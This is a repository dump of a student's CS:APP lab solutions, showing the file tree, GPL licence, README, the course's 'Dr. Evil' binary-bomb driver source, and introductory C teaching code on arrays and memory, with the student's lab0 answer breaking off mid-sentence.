├── .gitignore
├── Computer Systems - A Programmer's Perspective (2nd).pdf
├── LICENSE
├── README.md
├── bomb24
├── bomb
├── bomb.c
├── defuser.txt
├── output
├── test
└── test.c
├── lab0
├── arrays.c
├── lab0.pdf
├── lab1.pdf
├── lab2.pdf
├── lab3.pdf
├── lab4.pdf
├── lab5.pdf
└── my_lab0.c
├── lab1.tar
├── lab1
├── Makefile
├── README
├── bits.c
├── bits.h
├── btest
├── btest.c
├── btest.h
├── decl.c
├── dlc
├── driver.pl
├── fshow
├── fshow.c
├── ishow
├── ishow.c
├── pointer.c
├── pointer.h
├── ptest
├── ptest.c
└── tests.c
├── lab2-bomb.tar
├── lab3.tar
├── lab3
├── .output.S.swp
├── Makefile
├── back_up.txt
├── bufbomb
├── bufbomb.c
├── exploit_for_level0.byte
├── exploit_for_level0.txt
├── exploit_for_level1.byte
├── exploit_for_level1.txt
├── exploit_for_level2.S
├── exploit_for_level2.byte
├── exploit_for_level2.txt
├── exploit_for_level3.S
├── exploit_for_level3.byte
├── exploit_for_level3.txt
├── makecookie
├── output.S
└── sendstring
├── lab4.tar.gz
├── lab4
├── Makefile
├── Optional_extra_credit.c
├── cache-test
├── cache-test-skel.c
├── cacheExperiment.c
├── cacheExperiment.class
├── cacheExperiment.java
├── cacheExperimentInteger.class
├── cacheExperimentInteger.java
├── mystery-cache.h
└── run.pl
├── lab5.tar.gz
└── lab5
├── Makefile
├── README
├── clock.c
├── clock.h
├── config.h
├── fcyc.c
├── fcyc.h
├── fsecs.c
├── fsecs.h
├── ftimer.c
├── ftimer.h
├── mdriver-realloc.c
├── mdriver.c
├── memlib.c
├── memlib.h
├── mm.c
├── mm.h
└── traces
├── amptjp-bal.rep
├── binary-bal.rep
├── binary2-bal.rep
├── cccp-bal.rep
├── coalescing-bal.rep
├── cp-decl-bal.rep
├── expr-bal.rep
├── random-bal.rep
├── random2-bal.rep
├── realloc-bal.rep
├── realloc2-bal.rep
├── short1-bal.rep
└── short2-bal.rep
/.gitignore:
--------------------------------------------------------------------------------
1 | # Object files
2 | *.o
3 | *.ko
4 | *.obj
5 | *.elf
6 |
7 | # Libraries
8 | *.lib
9 | *.a
10 |
11 | # Shared objects (inc. Windows DLLs)
12 | *.dll
13 | *.so
14 | *.so.*
15 | *.dylib
16 |
17 | # Executables
18 | *.exe
19 | *.out
20 | *.app
21 | *.i*86
22 | *.x86_64
23 | *.hex
24 |
--------------------------------------------------------------------------------
/Computer Systems - A Programmer's Perspective (2nd).pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/Computer Systems - A Programmer's Perspective (2nd).pdf
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | CSAPP
2 | =====
3 |
4 | Aha!
5 |
6 | Here is my solutions for labs of CS:APP.
7 | It's so fantastic to solve this problems. This labs will help us
8 | to understand this great book deeply.
9 |
10 | If you have puzzle with there problems and find something wrong
11 | with my solutions, you could touch me by e-mail: jasonleaster@gmail.com
12 |
13 | It will be my pleasure, if you would like to communicate with me
14 | and exchange our ideas about this labs : )
15 |
16 | Yours, EOF
17 |
--------------------------------------------------------------------------------
/bomb24/bomb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/bomb24/bomb
--------------------------------------------------------------------------------
/bomb24/bomb.c:
--------------------------------------------------------------------------------
1 | /***************************************************************************
2 | * Dr. Evil's Insidious Bomb, Version 1.0
3 | * Copyright 2002, Dr. Evil Incorporated. All rights reserved.
4 | *
5 | * LICENSE:
6 | *
7 | * Dr. Evil Incorporated (the PERPETRATOR) hereby grants you (the
8 | * VICTIM) explicit permission to use this bomb (the BOMB). This is a
9 | * time limited license, which expires on the death of the VICTIM.
10 | * The PERPETRATOR takes no responsibility for damage, frustration,
11 | * insanity, bug-eyes, carpal-tunnel syndrome, loss of sleep, or other
12 | * harm to the VICTIM. Unless the PERPETRATOR wants to take credit,
13 | * that is. The VICTIM may not distribute this bomb source code to
14 | * any enemies of the PERPETRATOR. No VICTIM may debug,
15 | * reverse-engineer, run "strings" on, decompile, decrypt, or use any
16 | * other technique to gain knowledge of and defuse the BOMB. BOMB
17 | * proof clothing may not be worn when handling this program. The
18 | * PERPETRATOR will not apologize for the PERPETRATOR's poor sense of
19 | * humor. This license is null and void where the BOMB is prohibited
20 | * by law.
21 | ***************************************************************************/
22 |
23 | #include
24 | #include
25 | #include "support.h"
26 | #include "phases.h"
27 |
28 | /*
29 | * Note to self: Remember to erase this file so my victims will have no
30 | * idea what is going on, and so they will all blow up in a
31 | * spectaculary fiendish explosion. -- Dr. Evil
32 | */
33 |
34 | FILE *infile;
35 |
36 | int main(int argc, char *argv[])
37 | {
38 | char *input;
39 |
40 | /* Note to self: remember to port this bomb to Windows and put a
41 | * fantastic GUI on it. */
42 |
43 | /* When run with no arguments, the bomb reads its input lines
44 | * from standard input. */
45 | if (argc == 1) {
46 | infile = stdin;
47 | }
48 |
49 | /* When run with one argument , the bomb reads from
50 | * until EOF, and then switches to standard input. Thus, as you
51 | * defuse each phase, you can add its defusing string to and
52 | * avoid having to retype it. */
53 | else if (argc == 2) {
54 | if (!(infile = fopen(argv[1], "r"))) {
55 | printf("%s: Error: Couldn't open %s\n", argv[0], argv[1]);
56 | exit(8);
57 | }
58 | }
59 |
60 | /* You can't call the bomb with more than 1 command line argument. */
61 | else {
62 | printf("Usage: %s []\n", argv[0]);
63 | exit(8);
64 | }
65 |
66 | /* Do all sorts of secret stuff that makes the bomb harder to defuse. */
67 | initialize_bomb();
68 |
69 | printf("Welcome to my fiendish little bomb. You have 6 phases with\n");
70 | printf("which to blow yourself up. Have a nice day!\n");
71 |
72 | /* Hmm... Six phases must be more secure than one phase! */
73 | input = read_line(); /* Get input */
74 | phase_1(input); /* Run the phase */
75 | phase_defused(); /* Drat! They figured it out!
76 | * Let me know how they did it. */
77 | printf("Phase 1 defused. How about the next one?\n");
78 |
79 | /* The second phase is harder. No one will ever figure out
80 | * how to defuse this... */
81 | input = read_line();
82 | phase_2(input);
83 | phase_defused();
84 | printf("That's number 2. Keep going!\n");
85 |
86 | /* I guess this is too easy so far. Some more complex code will
87 | * confuse people. */
88 | input = read_line();
89 | phase_3(input);
90 | phase_defused();
91 | printf("Halfway there!\n");
92 |
93 | /* Oh yeah? Well, how good is your math? Try on this saucy problem! */
94 | input = read_line();
95 | phase_4(input);
96 | phase_defused();
97 | printf("So you got that one. Try this one.\n");
98 |
99 | /* Round and 'round in memory we go, where we stop, the bomb blows! */
100 | input = read_line();
101 | phase_5(input);
102 | phase_defused();
103 | printf("Congratulations! You've (mostly) defused the bomb!\n");
104 | printf("Hit Control-C to escape phase 6 (for free!), but if you want to\n");
105 | printf("try phase 6 for extra credit, you can continue. Just beware!\n");
106 |
107 | /* Oh, so you want more danger? Let's make this one extra hard. */
108 | input = read_line();
109 | phase_6(input);
110 | phase_defused();
111 |
112 | /* Wow, they got it! But isn't something... missing? Perhaps
113 | * something they overlooked? Mua ha ha ha ha! */
114 |
115 | return 0;
116 | }
117 |
--------------------------------------------------------------------------------
/bomb24/defuser.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/bomb24/defuser.txt
--------------------------------------------------------------------------------
/bomb24/test:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/bomb24/test
--------------------------------------------------------------------------------
/bomb24/test.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main()
4 | {
5 | int ans = 1;
6 | int tmp = 1;
7 |
8 | for(tmp = 1;ans != 0x375f00;tmp++)
9 | {
10 | ans *= tmp;
11 | }
12 |
13 | printf("%d \n",tmp-1);
14 |
15 | return 0;
16 | }
17 |
--------------------------------------------------------------------------------
/lab0/arrays.c:
--------------------------------------------------------------------------------
1 | /*
2 | CSE 351 Lab 0
3 | Lecture 2 and the first section meeting will help you
4 | if none of this makes sense yet.
5 | */
6 |
7 |
8 | // These #includes tell the compiler to include the named
9 | // header files, similar to imports in Java. The code for
10 | // these is generally located under /usr/include/, such
11 | // as /usr/include/assert.h. assert.h contains the
12 | // declaration of the assert() function, stdio.h contains
13 | // the declaration of the printf() function, and stdlib.h
14 | // contains the declaration of the malloc() and free()
15 | // functions, all of which are used in the code below.
16 | #include
17 | #include
18 | #include
19 |
20 | // Fill the given array with values. Note that C doesn't
21 | // keep track of the length of arrays, so we have to
22 | // specify it as an explicit parameter here, rather than
23 | // looking it up from the array as in Java.
24 | // Additionally, note that the type of the array parameter
25 | // here is int*, a pointer to an int. We'll learn more
26 | // about why int* is used here, but for now it is enough
27 | // to understand that array is an array of ints.
28 | void fillArray(int* array, int len) {
29 | printf("Filling an array at address %p with %d "
30 | "values\n", array, len);
31 | for (int i = 0; i < len; ++i) {
32 | array[i] = i * 3 + 2;
33 | // assert() verifies that the given condition is true
34 | // and exits the program otherwise. This is just a
35 | // "sanity check" to make sure that the line of code
36 | // above is doing what we intend.
37 | assert(array[i] == i * 3 + 2);
38 | }
39 | printf("Done!\n");
40 | }
41 |
42 | // Structs are blocks of memory composed of smaller parts,
43 | // each of which has a name and is called a field. The
44 | // following struct definition has four int fields named
45 | // a, b, c, and d.
46 | // In this case, we use typedef to give structs of this
47 | // type a name, FourInts, which can be used like we use
48 | // other types such as int or char.
49 | typedef struct {
50 | int a, b, c, d;
51 | } FourInts;
52 |
53 | // main() is the entry point of the program. It has two
54 | // parameters: argc is the number of arguments that were
55 | // passed on the command line; argv is an array of those
56 | // arguments as strings. (Strings in C are arrays of
57 | // chars.)
58 | int main(int argc, char* argv[]) {
59 | // Create a new array capable of storing 10 elements
60 | // and fill it with values using the function declared
61 | // above. Arrays declared in this manner are allocated on
62 | // the stack, and must generally have a size (10, here)
63 | // that is a constant (i.e., the size is known when
64 | // writing the program, not computed when running it).
65 | int array[10];
66 | // This is a block of memory big enough to store 10
67 | // ints. The name "array" here actually refers to the
68 | // address of this block of memory.
69 | // array[0] is the first int in this block of
70 | // memory, array[1] is the second, and so on. C does
71 | // not track or check array lengths, so it is up to us
72 | // to know how many elements the array contains.
73 | //
74 | // TODO(1): What happens if the second argument is set
75 | // to 11 instead? How about 100? 1000? Make sure to set
76 | // the second argument back to 10 when you are done
77 | // testing.
78 | // Answer:
79 | fillArray(array, 10);
80 |
81 | int value;
82 | // In C, we can take the address of something using the
83 | // & operator. &value is of the type int*, meaning that
84 | // it is a pointer to an integer (as it stores the
85 | // address in memory of where the actual int is located).
86 | //
87 | // TODO(2): We can actually use the address of the value
88 | // declared here as if it were an array of a single
89 | // element; why is this possible?
90 | // Answer:
91 | fillArray(&value, 1);
92 | // fillArray should set value to 0 * 3 + 2 = 2.
93 | assert(value == 2);
94 |
95 | // The following creates an instance of FourInts on the
96 | // stack. FourInts is really just an array of four ints,
97 | // although we can refer to the ints stored in it by
98 | // name as well.
99 | FourInts four_ints;
100 | // Set the first int to have a value of 0 and verify
101 | // that the value changed.
102 | four_ints.a = 0;
103 | assert(four_ints.a == 0);
104 |
105 | // Depending on whether or not you like to live
106 | // dangerously, the following is either exciting or
107 | // terrifying. Though &four_ints is of type FourInts*
108 | // (as in a pointer to a FourInts struct), we can
109 | // use a cast to pretend that it is actually an array
110 | // of integers instead. It's all just memory after all.
111 | // The "(int*)" tells the C compiler that we want to treat
112 | // that address "&four_ints" as an address to an int (in
113 | // this case the start of an array) rather than a
114 | // FourInts struct.
115 | fillArray((int*) &four_ints, 4);
116 | // We can confirm that fillArray updated the values
117 | // in the FourInts struct:
118 | assert(four_ints.a == 2);
119 | assert(four_ints.b == 5);
120 | assert(four_ints.c == 8);
121 | assert(four_ints.d == 11);
122 |
123 | // In the case that the size of an array is not known
124 | // until runtime, the malloc() function can be used to
125 | // allocate memory dynamically. Memory that is
126 | // allocated dynamically is stored on the heap, which
127 | // is separate from the stack. We'll talk about all these
128 | // regions of memory later in the course. C is unlike Java,
129 | // however, in that dynamically-allocated memory must
130 | // be freed explicitly when the program is done using
131 | // it via the free() function. malloc() takes a single
132 | // argument, which is the number of bytes to allocate,
133 | // and returns the address of a fresh memory object
134 | // whose size is the given argument.
135 | // sizeof(int) gives the size of an int in bytes
136 | // (which is four), so sizeof(int) * 5 is 20.
137 | int* heap_array = (int*) malloc(sizeof(int) * 5);
138 | fillArray(heap_array, 5);
139 | // Now that we have finished with the heap-allocated
140 | // array, free() the memory associated with it.
141 | //
142 | // TODO(3): What happens if we remove the free()
143 | // statement below? Try running "valgrind ./arrays"
144 | // after compiling the program both with and without
145 | // it. valgrind is a tool for analyzing how programs
146 | // use memory, which is often invaluable for C and
147 | // C++ programming.
148 | // Answer:
149 | free(heap_array);
150 |
151 | // TODO(4): Now it's your turn to write some code.
152 | // Using malloc(), allocate a FourInts struct
153 | // dynamically (on the heap) and use fillArray to
154 | // populate it with values. The sizeof function can
155 | // be used on any data type. Make sure to free the
156 | // memory when you are done, and use the valgrind
157 | // tool mentioned above to check that there aren't
158 | // any errors. As a "sanity check," add four assert
159 | // statements to verify that the a, b, c, and d
160 | // fields of the FourInts struct are set to what
161 | // you would expect. (Hint, since you will have a
162 | // pointer to a FourInts struct you will need to
163 | // use the -> operator to access fields of a
164 | // FourInts* variable instead of the . operator
165 | // we used on the FourInts above. ptr->a is
166 | // equivalent to (*ptr).a . Note the difference
167 | // between FourInts and FourInts*.)
168 | return 0;
169 | }
170 |
--------------------------------------------------------------------------------
/lab0/lab0.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab0.pdf
--------------------------------------------------------------------------------
/lab0/lab1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab1.pdf
--------------------------------------------------------------------------------
/lab0/lab2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab2.pdf
--------------------------------------------------------------------------------
/lab0/lab3.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab3.pdf
--------------------------------------------------------------------------------
/lab0/lab4.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab4.pdf
--------------------------------------------------------------------------------
/lab0/lab5.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab0/lab5.pdf
--------------------------------------------------------------------------------
/lab0/my_lab0.c:
--------------------------------------------------------------------------------
1 | /*
2 | CSE 351 Lab 0
3 | Lecture 2 and the first section meeting will help you
4 | if none of this makes sense yet.
5 | */
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | void fillArray(int* array, int len) {
12 | printf("Filling an array at address %p with %d "
13 | "values\n", array, len);
14 | for (int i = 0; i < len; ++i) {
15 | array[i] = i * 3 + 2;
16 | assert(array[i] == i * 3 + 2);
17 | }
18 | printf("Done!\n");
19 | }
20 |
21 | typedef struct {
22 | int a, b, c, d;
23 | } FourInts;
24 |
25 | int main(int argc, char* argv[]) {
26 |
27 | int array[10];
28 |
29 | // TODO(1): What happens if the second argument is set
30 | // to 11 instead? How about 100? 1000? Make sure to set
31 | // the second argument back to 10 when you are done
32 | // testing.
33 |
34 | /* Answer by Jason Leaster:
35 | This problem's purpose is to guide
36 | you to understand what is "stack". You may have to
37 | understand code on running-time at level of assembly.
38 | Here is my notes,
39 | -------------------------------------------------------
40 | http://blog.csdn.net/cinmyheart/article/details/24483461
41 |
42 | http://blog.csdn.net/cinmyheart/article/details/39142471
43 | -------------------------------------------------------
44 | finish it and it will help you to get a background to
45 | understand this problem.
46 |
47 | If you set the second argument to "11" instead, the
